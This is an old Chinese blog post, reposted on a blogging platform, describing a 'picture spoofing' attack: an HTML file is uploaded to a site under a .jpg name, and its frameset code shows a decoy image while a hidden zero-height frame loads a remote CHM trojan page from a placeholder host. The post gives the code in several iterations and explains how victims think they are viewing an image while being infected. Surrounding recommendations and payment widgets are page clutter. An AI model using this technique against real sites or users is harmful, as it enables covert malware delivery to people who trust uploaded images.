站内上传脚本图片欺骗式攻击

scrub scrub 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 900+累计阅读 976平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄23年
关注
原创 最新推荐文章于 2026-06-27 13:06:28 发布 976 阅读 AI 写同款· GEO 优化 ›
第十五章数据管理成熟度评估【6’】（DAMA-CDGA 2022年以后历年模拟题真题汇总，基本包含所有考点。） 阅读详情
本文作者：未知
文章出处：未知
文章性质：原创
阅读次数：2
发布日期：2004-08-24
 
测试过程: 其实很早前我就做过这个的教程 可能很少人看过 因为没发过 就是

另外的一个动网跨站攻击 把图片改成HTML代码 上传后可执行 做转向 (其实很

多人都知道了) 发现的过程是在我今天无聊 看了一下某大黑客网站哦 BBS上

做了过滤 上传失败 然后回到主页上 是动力系统 于是注册了一个帐号 然后到

个人管理里 看到添加文章里面 能上传 文件 于是 开始想利用的过程 我开始的

构思是 直接上传这样一个程序 。 但是 其实这样有很大一个漏洞 别人打开这

个JPG网页后 图片显示不出来 自然别人就会起疑心 想到了前段时间一个CHM网

页木马的制作 变相的利用它 其实应该能达到的 假如代码为
代码:
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize

marginwidth="0" margingheight="0">
<frame src="cha.htm" frameborder="no" scrolling="no" noresize

marginwidth="0" margingheight="0">
</frameset>

这样的一个index.htm 上传后发现失败 。 直接显示原代码 。。 于是在代

码的开头结尾加了
代码:
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize

marginwidth="0" margingheight="0">
<frame src="cha.htm" frameborder="no" scrolling="no" noresize

marginwidth="0" margingheight="0">
</frameset></html>

测试后页面已经成了一个木马页面
但是这个木马一定要有个CHM的 人家网站不可能专门提供你上传这个类型的文件

于是想到远程的调用 后把index.jpg改为代码
代码:
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize

marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm" frameborder="no"

scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset></html>

上传后发现 防火墙成功提示病毒 但是 别人打开这个页面的时候直接是大红XX

是个有脑子的人都会怀疑的啊 于是想到把这个页面打开后看成一个图片 接着

直接把上面的代码改成
代码:
<html>
<frameset rows="444,0" cols="*">
<frame src="http://www.xxx.com/suiai.jpg" framborder="no"

scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm" frameborder="no"

scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset></html>

这样打开这个页面的时候正常显示图片 木马也能中了
前提是要把这个图片页面发给别人 例如
http://www.xxx.com/Article/UploadFiles/200408/XXXXX.jpg
对方打开后还以为是看到了一张图片 其实他已经中木马了 再怎么说这个也是上

传的图片 而且可能上传到自己的站里 不会有人怀疑的

后记:同上也能在网页上做些其他更恶劣的事情 .. 偶就不举例子了 漏洞不大

利用价值广泛 各网站管理员开始补漏洞吧 呵呵。。。

收录于
黑客技术

当前文章被收录于：

黑客技术
207 篇文章 2 人学习
订阅专栏 查看详情
标签
#脚本 #html #chm #bbs #测试
#防火墙
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
从 Claude Code 到 SAP ADT，vibing-steampunk 把 ABAP 开发带进 Agentic 工程现场 vibing-steampunk（vsp）是一个连接SAP ADT API与AI编码代理的桥梁工具，通过MCP协议实现ABAP开发的自动化。它绕开传统GUI脚本方式，直接利用ADT REST API进行代码读写、调试和部署。该工具提供包分析、边界检查、LUW分析等功能，并创新性地采用Hyperfocused模式和方法级编辑来优化token使用效率。通过上下文压缩技术，vsp能智能提取关键代码片段，显著提升AI处理ABAP代码的精准度，为SAP系统现代化改造提供了高效的技术路径。 阅读详情

相关推荐

用Java实现森林冰火人游戏

g.drawString("游戏结束", CELL_SIZE * COLS / 2 - 100, CELL_SIZE * ROWS / 2);g.drawString("难度级别: " + difficultyLevel, 10, CELL_SIZE * ROWS + 60);g.drawString("生命值: " + playerHealth, 10, CELL_SIZE * ROWS + 20);setTitle("森林冰火人");

2401_82778412的博客 1734

csrf与xss攻击的详解与区别

一、csrf攻击 1.CSRF的基本概念、缩写、全称：CSRF(Cross-site request forgery)：跨站请求伪造。 2.CSRF的攻击原理 用户是网站A的注册用户，且登录进去，于是网站A就给用户下发cookie。从上图可以看出，要完成一次CSRF攻击，受害者必须满足两个必要的条件：（1）登录受信任网站A，并在本地生成Cookie。（如果用户没有登录网站A，那么网站B在诱导的...

wuhuagu_wuhuaguo的博客 2万+

【目标检测】yoloV5算法详解

一、与yoloV4相比，yoloV5的改进 输入端：在模型训练阶段，使用了Mosaic数据增强、自适应锚框计算、自适应图片缩放 基准网络：使用了FOCUS结构和CSP结构 Neck网络：在Backbone和最后的Head输出层之间插入FPN_PAN结构 Head输出层：训练时的损失函数GIOU_Loss，预测筛选框的DIOU_nns 二、yoloV5结构框架 CBL：CBL模块是由Conv+BN+Leaky_relu激活函数组成 Res unit：借鉴ResNet中的残差结构，用来构建深层网络，CBM是

qq_40373651的博客 2万+

XSS攻击又叫跨站脚本式攻击

在这里，想和大家介绍一下XSS攻击，XSS攻击又叫跨站脚本式攻击，你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。 首先，我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”，其实是在你的本地设置了一个cookie，这种方式可以让你免去每次都输入用户名和口令的痛苦，但是也带来很大的问题。试想，如果某用户在“自动登录”的状态下，如果你运行了一个程序，这

autumn20080101的专栏 763

二、PCIE的TLP包的封包解包原理

熟悉 PCIE 的组建包的过程，以及内部的字段细节的定 义，掌握如何发送接收 Mrd（memory read TLP）、 Mwr（Memory write TLP）、Cpl （Completion TLP）和 Cpld（Completion with data TLP）命令包，深入理解 PCIE 底层协议工作过程

k7126685的博客 3931

软件测试方法——等价类划分法详解

！如果下面这些资料用得到的话可以直接拿走：1、自学开发或者测试必备的完整项目源码与环境2、测试工作中所有模板（测试计划、测试用例、测试报告等）3、软件测试经典面试题4、Python/Java自动化测试实战.pdf5、Jmeter/postman接口测试全套视频获取6、Python学习路线图。

MXB1220的博客 1万+

新浪微博的XSS攻击

今天晚上（2011年6月28日），新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如：“郭美美事件的一些未注意到的细节”，“建党大业中穿帮的地方”，“让女人心动的100句诗歌”，“3D肉团团高清普通话版种子”，“这是传说中的神仙眷侣啊”，“惊爆!范冰冰艳照真流出了”等等微博和私信，并自动关注一位名为hellosamy的用户。 事件的经过线索如下： 20:14，开始有大量带V的认

在路上 1518

从仿真到打样：PMOS栅极泄放电路设计全流程复盘与三个踩坑点总结

本文详细复盘了PMOS栅极泄放电路从仿真到打样的全流程设计，重点总结了三个关键踩坑点：三极管BE结过压击穿、静态功耗超标和栅极振荡现象。通过优化缓启动电路、改进保护设计和布局调整，最终实现18ms开通时间、190μs关断时间和8μA静态功耗的工业级性能指标，为类似电源开关设计提供实用参考。

weixin_28693683的博客 371

新浪微博的XSS漏洞攻击过程详解

今天晚上（2011年6月28日），新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如：“郭美美事件的一些未注意到的细节”，“建 党大业中穿帮的地方”，“让女人心动的100句诗歌”，“3D肉团团高清普通话版种子”，“这是传说中的神仙眷侣啊”，“惊爆!范冰冰艳照真流出了”等等 微博和私信，并自动关注一位名为hellosamy的用户。 事件的经过线索如下： 20:14，开始...

weixin_30681121的博客 407

42、Windows Server Update Services（WSUS）全面指南

本文全面介绍了Windows Server Update Services（WSUS）的安装、配置、管理与优化策略。内容涵盖WSUS基础认知、客户端更新问题解决、多服务器架构设计、计算机分组策略、更新审批与报告查看，并深入探讨了SSL加密配置、性能优化、与其他系统（如AD和SCCM）集成以及常见故障排查方法。通过本指南，IT管理员可高效部署和管理企业级软件更新，提升安全性和运维效率。

cicd6pipeline的博客 99

使用Matlab与V-REP联合仿真

在Matlab中，我们可以使用V-REP提供的远程API（Application Programming Interface）来连接到V-REP仿真环境。为了连接Matlab与V-REP，我们需要在Matlab中添加V-REP的远程API函数库。你可以根据具体的需求编写Matlab脚本来控制V-REP场景中的机器人，并进行系统建模和仿真。一旦成功连接到V-REP，我们可以使用Matlab来控制V-REP场景中的机器人。在本文中，我们将介绍如何使用Matlab与V-REP进行联合仿真，并提供相应的源代码。

HackMasterX的博客 1854

新浪微博XSS攻击事件

6月28日20时14分左右开始，新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如：“郭美美事件的一些未注意到的细节”，“建 党大业中穿帮的地方”，“让女人心动的100句诗歌”，“3D肉团团高清普通话版种子”，“这是传说中的神仙眷侣啊”，“惊爆!范冰冰艳照真流出了”等等 微博消息和私信，并自动关注一位名为hellosamy的用户。　　事件的经过线索如下：20:14，开始有大量带

TERRY的技术日志 3802

详细分析一下华为自研的MetaERP系统中的合并报表流程与规则

华为MetaERP合并报表系统针对其全球化复杂业务量身定制，采用五层自动化架构：统一数据采集、多币种转换、智能对账协同、规则化抵消处理及多维分析输出。系统核心在于可配置的智能规则引擎，涵盖股权合并范围、内部交易抵消、未实现利润计算等复杂场景，实现多准则并行处理。相比传统软件，该系统深度集成业务数据、支持准实时合并，并通过参数化配置快速适应组织变革，成为华为全球财务管控的"数字神经中枢"，在效率、准确性和安全性上具有显著优势。

金牌架构师 673

网络攻击技术(二)——Cross-site scripting

http://www.oschina.net/question/565065_57506 1.1.1 摘要 在本系列的第一篇博文中，我向大家介绍了SQL Injection常用的攻击和防范的技术。这个漏洞可以导致一些非常严重的后果，但幸运的是我们可以通过限制用户数据库的权限、使用参数化的SQL语句或使用ORM等技术来防范SQL Injection的发生，接来了要向大家介绍Cross-s

stilling2006的专栏 6652

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册，内含HL7和ASTM)

Cross-site scripting（跨站脚本）学习笔记（一）

1.1.1 摘要       在本系列的第一篇博文中，我向大家介绍了SQL Injection常用的攻击和防范的技术。这个漏洞可以导致一些非常严重的后果，但幸运的是我们可以通过限制用户数据库的权限、使用参数化的SQL语句或使用ORM等技术来防范SQL Injection的发生，接来了要向大家介绍Cross-site scripting(XSS)。       定义：Cross-si

wei.zhou的专栏 3014

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf：最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版，包括SDIO 接口的外设，SDIO 接口官方协议等。

网络数据传输安全性问题和常见的网络攻击

网络数据传输安全性问题和常见的网络攻击 一. 常见的网络攻击与解决办法 1. XSS攻击 2. CSRF攻击 1. SQL注入攻击 2. 文件上传漏洞 1. DDoS攻击 2. 其他攻击手段 二. 数据传输安全性问题与解决办法 1. 窃听 2. 假冒 3. 篡改 4. 事后否认

qq_33101689的博客 4700

WINCC7.3破解文件

WINCC7.3硬件够破解文件，有需要的下载！WINCC7.3硬件够破解文件，有需要的下载！

Ueditor任意文件上传漏洞深度剖析：原理、实战利用与立体化防御方案

文件上传功能是Web应用中的常见需求，其核心原理是允许用户将本地文件传输至服务器。然而，如果服务端对上传文件的类型、内容和路径校验不严，攻击者便可利用此机制上传恶意脚本，从而引发任意文件上传漏洞。该漏洞的技术价值在于，它直接关系到服务器的安全边界，一旦被利用，攻击者可能获取系统控制权，危害极大。在富文本编辑器、用户头像上传、文档管理等应用场景中，此类风险尤为突出。本文聚焦于经典富文本编辑器Ueditor，深入探讨其因配置缺陷、二次开发疏忽导致的任意文件上传漏洞，并详细解析如何通过未授权访问、catchima

weixin_34184561的博客 400

网络攻击之二：XSS（之一是SQL注入，前面有文章）

学习了http://www.oschina.net/question/565065_57506 （这里做了转载 http://blog.youkuaiyun.com/stilling2006/article/details/8526498） Cross-site scripting(XSS)，是一种经常出现在Web应用中的计算机安全漏洞，它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如，...

weixin_34241036的博客 174
上一篇： 微软公司最经典的面试题(含答案)
下一篇： ASP.NET虚拟主机安全隐患
点赞 0
评论 0
书签 书签 0
scrub
scrub
博客等级 码龄23年 8粉丝 252原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值